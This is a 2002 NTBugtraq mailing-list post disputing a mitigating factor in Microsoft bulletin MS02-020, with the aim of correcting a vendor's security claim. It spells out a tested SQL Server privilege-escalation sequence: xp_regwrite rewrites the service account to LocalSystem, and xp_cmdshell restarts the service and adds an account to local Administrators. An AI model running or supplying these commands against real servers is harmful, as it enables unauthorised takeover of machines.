Re: Microsoft Security Bulletin - MS02-020

From: Bronek Kozicki (brok@RUBIKON.PL)
Date: 04/18/02


Date:         Thu, 18 Apr 2002 10:33:13 +0200
From: Bronek Kozicki <brok@RUBIKON.PL>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM


> SQL Extended Procedure Functions Contain Unchecked Buffers (Q319507)
[ . . .]
> SQL Server service to fail, or to cause code to run in the security
> context in which SQL Server is running. SQL Server can be
> configured to run in various security contexts, and by default
> runs as a domain user. The precise privileges the attacker could
> gain would depend on the specific security context that the
> service runs in.
[ . . . ]
> Mitigating Factors:
> ====================
> - The effect of exploiting the vulnerability would depend on the
> specific configuration of the SQL Server service. SQL Server can
> be configured to run in a security context chosen by the
> administrator. By default, this context is as a domain user.
> If the rule of least privilege has been followed, it would
> minimize the amount of damage an attacker could achieve.

above is untrue. SQL Server 2000 _can_ run under non-administrator account,
however it requires full access to registry key:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSSQLServer
as explicitly stated in "Setting Up a Secure SQL Server 2000 Installation"
http://www.microsoft.com/technet/prodtechnol/sql/maintain/security/sql2ksec.asp
Having this access level, SQL server process is able to modify "ObjectName"
value in the registry. This is enough to re-configure service to run as
LocalSystem. Hence, attacker able to run code under SQL Server account is able
to re-configure service to run under highest possible local privileges,
even is SQL Server is running as regular user. For this reason, securing
SQL server by means of using least privileged account for the service is
simply ineffective - opposite to what Microsoft says in above referenced
article, and in MS02-020.
This is result of required by SQL Server access level to registry key where service
configuration is kept. SQL server also delivers stored procedure for this type
of operation: xp_regwrite (undocumented) so this can be verified without writing
shellcode:
xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\MSSQLServer',
'ObjectName', REG_SZ,'LocalSystem'
xp_cmdshell 'net stop mssqlserver /y & net start mssqlserver'

After changing registry and restarting service - voile! Instead of being poor
user, you have local root! Of course, you may use this privilege for one
thing only - put user account used by SQL Server before to local Administrators
group, and restore previous value. There is undocumented xp_regread extended
stored procedure, which can be used to read account name, before changing it to
LocalSystem.

[re-establish connection]
xp_cmdshell 'whoami'
xp_cmdshell 'net localgroup administrators DOMAIN\someacocunt /add'
xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\MSSQLServer',
'ObjectName', REG_SZ,'DOMAIN\someacocunt'
xp_cmdshell 'net stop mssqlserver /y & net start mssqlserver'
[re-establish connection]
xp_cmdshell 'whoami'

... and you have old configuration back, with one difference: now you own the
machine! Everyone may try above, it has been tested and will run if you have
'sa' level, or you may code this in C (use Open Data Services) and put in own
extended stored procedure (or shellcode ? :>> ) to run under SQL service account.
You will gain local Administrator, no matter what local restrictions was put on
SQL Server account.

I want to point that this is _not_ problem of poor administration: administrator
of this machine have done everything to secure his/her server, except removing
undocumented Microsoft extended stored procedures. Of course, sane administrator
will not allow untrusted users to run any code on SQL server as 'sa', but this
is not the point. My point is to explain why one of mitigating factors put in
MS02-020 is UNTRUE. Attacker able to run code in SQL Server process, or as 'sa'
will own the machine. Opposite to what Microsoft says: you may _not_ relay on local
restrictions effective on SQL service account as a security measure!

B.



Relevant Pages

  • Re: SMS_MP_Control_Manager Errors
    ... A colleage of mine figure it out, it was "local security policy" problem, he ... IUSR_"Computer account" must be able to access the computer from the network. ... delete the Guests group from it. ... Verify that the SQL server is properly configured to ...
    (microsoft.public.sms.admin)
  • Http verification .sms_aut (port 80) failed
    ... I noticed I couldn't get SMS reports to work.... ... MP encountered an error when connecting to SQL Server. ... If using a standard SQL security account, ...
    (microsoft.public.sms.admin)
  • Re: Http verification .sms_aut (port 80) failed
    ... I resolved a problem like this changing the Security settings on SMS_MP ... I had to go into SQL Server Configuration Manager / SQL Server 2005 Network ... I noticed I couldn't get SMS reports to work.... ... If using a standard SQL security account, ...
    (microsoft.public.sms.admin)
  • Re: The login failed
    ... In addition to what Erland has advised you to do, ... An Access to SQL Server migration can be full of hidden ... pitfalls when it comes to security. ... the sql server manager is not letting me add the IUSR account ...
    (microsoft.public.data.oledb)
  • Re: Switching to Advanced Security
    ... None of the patching tools have been implemented, ... that time with the option to switch to Advanced Security, ... siteservermachinename$ account in AD to the Systems Managment container ... local SQL Server security, in that the local computer account has ...
    (microsoft.public.sms.setup)